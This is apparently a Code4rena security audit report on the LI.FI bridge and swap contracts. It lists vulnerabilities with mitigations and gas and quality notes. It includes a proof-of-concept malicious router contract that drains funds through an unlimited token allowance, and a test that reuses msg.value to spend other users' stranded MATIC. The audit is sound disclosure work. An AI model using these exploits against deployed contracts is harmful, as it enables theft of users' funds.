LI.FI contest - hickuphh3's results

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L158-L166

Vulnerability details

Impact

All bridge integrations have the bridge addresses set by the owner with anyswap being the exception, where the router is passed as a parameter.

LibAsset.approveERC20(IERC20(_anyswapData.token), _anyswapData.router, _anyswapData.amount);

IAnyswapRouter(_anyswapData.router).anySwapOut(
  _anyswapData.token,
  _anyswapData.recipient,
  _anyswapData.amount,
  _anyswapData.toChainId
);

In particular, because an unlimited token allowance is given to the router, it is able to transfer more than _anyswapData.amount should it be desired. A malicious router can therefore be implemented to steal latent non-native tokens from the contract.

Proof of Concept

Here’s an example of a malicious router that will be able to transfer any latent funds from the lifi contract once it has been given unlimited token allowance.

contract MaliciousRouter is IAnyswapRouter {
    using SafeERC20 for IERC20;

    address attacker;
    address lifi;
    address native;

    constructor(address _lifi, address _native) {
        attacker = msg.sender;
        lifi = _lifi;
        native = _native;
    }

    function wNATIVE() external override returns (address) {
        return native;
    }

    // to get lifi to give this contract allowance for a specified token
    function anySwapOutUnderlying(
        address token,
        address to,
        uint256 amount,
        uint256 toChainID
    ) external override {
        _transferAssetsFromLifi(IERC20(token));
    }

    // to get lifi to give this contract allowance for a specified token
    function anySwapOut(
        address token,
        address to,
        uint256 amount,
        uint256 toChainID
    ) external override {
        _transferAssetsFromLifi(IERC20(token));
    }

    // once lifi has given allowance, call this function anytime there is latent funds
    function pullFundsFromLifi(IERC20 token) external {
        _transferAssetsFromLifi(token);
    }

    function _transferAssetsFromLifi(IERC20 token) internal {
        token.safeTransferFrom(lifi, attacker, token.balanceOf(lifi));
    }

    function anySwapOutNative(
        address token,
        address to,
        uint256 toChainID
    ) external payable override {}
}

Recommended Mitigation Steps

There should be a whitelist of approved routers that is only configurable by the owner and retrieved from storage.

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L33 https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L42

Vulnerability details

Impact

Both native and non-native latent contract funds (eg. from airdrops or users that accidentally send directly to the contract) can be used by others for their own benefit.

Proof of Concept

Non-Native

This is a straight forward case since the library will only request funds from the user if the contract doesn’t have sufficient balance.

Native

The underlying issue here is that msg.value is used in a loop in the parent function caller Swapper#_executeSwaps() that allows for multiple swaps. A user can therefore make a duplicate swap with an equivalent msg.value being the contract’s latent funds.

it.only('Bob uses accidentally sent MATIC funds', async () => {
  // Alice accidentally sends 1 MATIC that she wanted to bridge
  const sendingAmount = constants.WeiPerEther
  await alice.sendTransaction({value: sendingAmount, to: lifi.address})
  console.log(`contract MATIC bal before swap: ${(await network.provider.request({
    method: 'eth_getBalance',
    params: [lifi.address]
  }))}`)

  const to = bob.address // should be a checksummed recipient address
  const deadline = Math.floor(Date.now() / 1000) + 60 * 20 // 20 minutes from the current Unix time
  const iface = new utils.Interface([
    'function swapExactETHForTokens(uint,address[],address,uint256)',
  ])
  const USDT_ADDRESS = '0xc2132D05D31c914a87C6611C10748AEb04B58e8F'
  const WMATIC_ADDRESS = '0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270'
  const UNISWAP_ADDRESS = '0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff'
  await dexMgr.addDex(UNISWAP_ADDRESS)

  const uniswapData = iface.encodeFunctionData('swapExactETHForTokens', [
    0,
    [WMATIC_ADDRESS, USDT_ADDRESS],
    to,
    deadline,
  ])

  // Bob uses Alice's 1 MATIC by specifying 2 swaps to USDT
  // Generate swap calldata
  const swapData = [
    {
      callTo: UNISWAP_ADDRESS,
      approveTo: UNISWAP_ADDRESS,
      sendingAssetId: constants.AddressZero,
      receivingAssetId: USDT_ADDRESS,
      fromAmount: sendingAmount,
      callData: uniswapData,
    },
    {
      callTo: UNISWAP_ADDRESS,
      approveTo: UNISWAP_ADDRESS,
      sendingAssetId: constants.AddressZero,
      receivingAssetId: USDT_ADDRESS,
      fromAmount: sendingAmount,
      callData: uniswapData,
    },
  ]

  let usdt = IERC20__factory.connect(USDT_ADDRESS, alice)
  let bobUsdtBalBefore = await usdt.balanceOf(bob.address)
  await lifi.connect(bob).swapTokensGeneric(
    lifiData,
    swapData,
    {
      value: sendingAmount, // note that Bob only sends 1 MATIC, but is using 2
      gasLimit: 500000,
    }
  )
  console.log(`contract MATIC bal after swap: ${(await network.provider.request({
    method: 'eth_getBalance',
    params: [lifi.address]
  }))}`)
  let usdtGain = (await usdt.balanceOf(bob.address)).sub(bobUsdtBalBefore)
  console.log(`bob usdt gain: ${usdtGain.toString()}`)
});

Recommended Mitigation Steps

For native funds, replace msg.value in the swap() function with fromAmount.

(bool success, bytes memory res) = _swapData.callTo.call{ value: fromAmount }(_swapData.callData);

Then, ensure that msg.value is equivalent to the total fromAmount of all swaps that use native funds. The disadvantage to this is that you aren’t able to chain swaps that swap to the native asset (Eg. USDC -> ETH via 1 exchange, then ETH -> USDT via another).

For non-native funds, transfer funds from and to the user for each swap. This however comes at the expense of increased gas costs.

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L29-L58

Vulnerability details

Impact

It is probable for _swapData.fromAmount to be greater than the actual amount used (eg. when swapping for an exact output, or when performing another swap after swapping with an exact input). However, these funds aren’t returned back to the user and are left in the lifi contract.

Proof of Concept

https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/AnyswapFacet.test.ts#L153-L194

The test referenced above swaps for MATIC for 1000 USDT exactly. Logging the matic amounts before and after the swap and bridge call, one will find 18.01 MATIC is unused and left in the contract when it should be returned to the user.

Recommended Mitigation Steps

Store the contract’s from balance before and after the swap. Refund any excess back to the user.

uint256 actualFromAmount = LibAsset.getOwnBalance(fromAssetId);
(bool success, bytes memory res) = _swapData.callTo.call{ value: msg.value }(_swapData.callData);
if (!success) {
  string memory reason = LibUtil.getRevertMsg(res);
  revert(reason);
}
actualFromAmount -= LibAsset.getOwnBalance(fromAssetId);
require(fromAmount >= actualFromAmount, 'actual amount used more than specified');
// transfer excess back to user
if (actualFromAmount != fromAmount) {
  // transfer excess to user
  // difference calculation be unchecked since fromAmount > actualFromAmount
}

This comes with the requirement that the funds for every swap should be pulled from the user.

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L150-L156

Vulnerability details

Impact

The external sendNative() call fails to include sending the native tokens together with it.

Proof of Concept

Add the following test case to the [CBridgeFacet test file](https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/CBridgeFacet.test.ts).

// TODO: update bridge address to 0x5427FEFA711Eff984124bFBB1AB6fbf5E3DA1820
it.only('reverts because ETH not sent to bridge', async () => {
  CBridgeData.token = constants.AddressZero
  CBridgeData.amount = constants.One
  await expect(lifi.connect(alice).startBridgeTokensViaCBridge(lifiData, CBridgeData, {
    value: constants.One,
    gasLimit: 500000
  })).to.be.revertedWith('Amount mismatch');
})

Recommended Mitigation Steps

ICBridge(bridge).sendNative{ value: _cBridgeData.amount }(
  _cBridgeData.receiver,
  _cBridgeData.amount,
  _cBridgeData.dstChainId,
  _cBridgeData.nonce,
  _cBridgeData.maxSlippage
);

In addition, add the payable keyword to the CBridge interface.

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L71-L73

Vulnerability details

Details & Impact

The function intends to allow the removal of multiple dexes approved for swaps. However, the function will only remove the first DEX because return is used instead of break in the inner for loop.

if (s.dexs[j] == _dexs[i]) {
  _removeDex(j);
  // should be replaced with break;
  return;
}

This error is likely to have gone unnoticed because no event is emitted when a DEX is added or removed.

Proof of Concept

Add the following lines below L44 of [AnyswapFacet.test.ts](https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/AnyswapFacet.test.ts#L44)

await dexMgr.addDex(ANYSWAP_ROUTER)
await dexMgr.batchRemoveDex([ANYSWAP_ROUTER, UNISWAP_ADDRESS])
// UNISWAP_ADDRESS remains as approved dex when it should have been removed
console.log(await dexMgr.approvedDexs())

Recommended Mitigation Steps

Replace return with break.

if (s.dexs[j] == _dexs[i]) {
  _removeDex(j);
  break;
}

In addition, it is recommend to emit an event whenever a DEX is added or removed.

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L68

Vulnerability details

Impact

Should msg.value exceed _cBridgeData.amount, the amount sent to the bridge might’ve only been the _cBridge.amount (judging from the implementations from other faucets, since the cBridge failed to include sending native funds). The difference would’ve been left in the contract for other users to utilise.

What’s a little puzzling is that the >= check is inconsistent with the other faucets’ implementations:

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L50

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/HopFacet.sol#L64

Recommended Mitigation Steps

Ensure strict equality of msg.value and _cBridgeData.amount.

require(msg.value == _cBridgeData.amount, "ERR_INVALID_AMOUNT");

Codebase Impressions & Summary

Overall, code quality for the Lifi contracts is good. The architecture is quite simple to grasp, where a number of facets handles integrations with existing bridges. Each bridge facet has functions to perform swaps prior to bridging the asset. The GenericSwapFaucet handles strictly swaps only. Other facets handle the ownership, withdrawal of funds and upgradeability aspects (addition & removal of facets).

Supporting documentation was adequate in understanding the purpose of the contracts.

One area of improvement is the swap implementation because it makes a number of assumptions / conditions that aren’t necessarily true. In my opinion, the root cause is because multiple swaps are supported in a single transaction. It perhaps might be better to integrate with DEX aggregators that better support this functionality.

While test coverage could be run, the reported numbers were unreliable (all 0%) presumably because the tests were done by forking mainnet conditions of different chains (ETH mainnet, polygon etc). Nevertheless, the tests mostly cover successful calls. It would be ideal to add more tests to ensure the contracts behave as expected.

Low Severity Findings

L01: Swap amounts recorded don’t necessarily match with actual amounts

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L54-L55

Description

The swap implementation seems to make the following assumptions / conditions that don’t necessarily hold:

• Funds for the first swap are pulled from user
• Recipient of swaps is lifi contract
• For subsequent swaps, the contract’s balance should be at least _swapData.fromAmount so that it does not have to pull funds from the user
• Actual amount used for swap is equal to _swapData.fromAmount

Impact

• Excess funds are not returned (raised in separate issue)
• Latent contract funds can be utilised by users in swaps (raised in separate issue)
• Possibly incorrect from and to swap amounts recorded in AssetSwapped event

This issue explains the details of the last point.

The actual amount used for a swap may be more or less than fromAmount = _swapData.fromAmount. Regardless, fromAmount is logged as the amount used. Similarly, if the swap specifies the user as the recipient instead of the lifi contract, toAmount will be zero. Hence, the amounts logged in the AssetSwapped event could be incorrect.

Recommended Mitigation Steps

For fromAmount, use the difference between the contract balances before and after the swap.

For toAmount, one way is to ensure that toAmount is non-zero, though it isn’t entirely foolproof.

uint256 actualFromAmount = LibAsset.getOwnBalance(fromAssetId);
uint256 toAmount = LibAsset.getOwnBalance(_swapData.receivingAssetId);
// do swap
(bool success, bytes memory res) = _swapData.callTo.call{ value: msg.value }(_swapData.callData);
if (!success) {
  string memory reason = LibUtil.getRevertMsg(res);
  revert(reason);
}
actualFromAmount -= LibAsset.getOwnBalance(fromAssetId);
// TODO: compare actualFromAmount with fromAmount
...
toAmount = LibAsset.getOwnBalance(_swapData.receivingAssetId) - toAmount;
require(toAmount > 0, "0 amount received by contract");
emit AssetSwapped(
  transactionId,
  _swapData.callTo,
  _swapData.sendingAssetId,
  _swapData.receivingAssetId,
  actualFromAmount,
  toAmount,
  block.timestamp
);

L02: Ensure 0 msg.value for non-native asset transfers

Description

A user that attempts to bridge with the wrapped native token or another ERC20 token, but mistakenly includes native funds with the function call will have those funds left in the contract for others to utilise.

Recommended Mitigation Steps

Ensure msg.value is 0 for non-native token bridges, like how it is enforced for completing the bridge transfer in the NXTPFaucet.

require(msg.value == 0, "ETH_WITH_ERC");

L03: Use call() instead of transfer() for native asset withdrawal

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/WithdrawFacet.sol#L31

Description

It is recommended to use call() instead of transfer() because the former fowards all remaining gas with the call, while the latter has a gas limit of 2300.

Recommended Mitigation Steps

(bool success, ) = sendTo.call{ value: _amount }("");
require(success, "#TNA:028");

L04: Use block.chainid instead of a configurable and stored parameter

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L46

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/HopFacet.sol#L51

Description

The CBridge and Hop faucets take in the chainId as an input parameter, leading to possible mistakes in setting them. It is advisable to replace and utilise [block.chainid](https://docs.soliditylang.org/en/v0.8.7/cheatsheet.html?highlight=block.chainid#global-variables) instead.

L05: Use require instead of assert

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/WithdrawFacet.sol#L30

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/WithdrawFacet.sol#L34

Description

require refunds all remaining gas while assert doesn’t, should the condition fail. It is therefore advisable to use require instead of assert.

Non-Critical Findings

NC01: CBridge faucet test uses outdated bridge address

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/config/cbridge2.ts#L19

https://github.com/code-423n4/2022-03-lifinance/blob/main/test/facets/CBridgeFacet.test.ts#L12

Description

The bridge specified in the test file does not correspond to that in the config. Notably, the outdated bridge lacks the sendNative() function.

Recommended Mitigation Steps

Import the config into the test files. At the very least, ensure consistency in the addresses being used.

G01: Redundant literal boolean comparisons

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L20

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L34

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L47

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/DexManagerFacet.sol#L66

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/Swapper.sol#L16

Description

Since the referenced lines are expressions that evaluate to booleans, there isn’t a need to check against the boolean literals true and false

Recommended Mitigation Steps

Replace if (condition == true) and if (condition == false) to if (condition) and if (!condition) respectively.

G02: Unused constant MAX_INT

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L8

Description

MAX_INT is declared but not used in the LibSwap contract. It can thus be removed.

G03: Replace _bridge() with s.cBridge

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/CBridgeFacet.sol#L143-L144

Description

The storage variable s has been retrieved in the line above. The bridge address can therefore be directly fetched from it instead of making another internal function call.

Recommended Mitigation Steps

Storage storage s = getStorage();
address bridge = s.cBridge;

G04: Redundant non-zero address check on _anyswapData.token

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L37

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L80

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L145

Description

If _anyswapData.token is the zero address, calling IAnyswapToken(_anyswapData.token).underlying(); would revert with a call to a non-contract account. Hence the check _anyswapData.token != address(0) is not necessary. Alternatively, shift the check to be before the call to fetch the underlying token address IAnyswapToken(_anyswapData.token).underlying();.

Recommended Mitigation Steps

require(_anyswapData.token != address(0), '0 anyswap token address');
address underlyingToken = IAnyswapToken(_anyswapData.token).underlying();

or remove the checks.

G05: Duplicate condition checks in LibSwap#swap() can be combined

Line References

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibSwap.sol#L33-L39

Description

The condition if(!LibAsset.isNativeAsset(fromAssetId)) is checked twice. They should be combined to save gas.

Recommended Mitigation Steps

if (!LibAsset.isNativeAsset(fromAssetId)) {
  LibAsset.approveERC20(IERC20(fromAssetId), _swapData.approveTo, fromAmount);
  if (LibAsset.getOwnBalance(fromAssetId) < fromAmount) {
    LibAsset.transferFromERC20(fromAssetId, msg.sender, address(this), fromAmount);
  }
}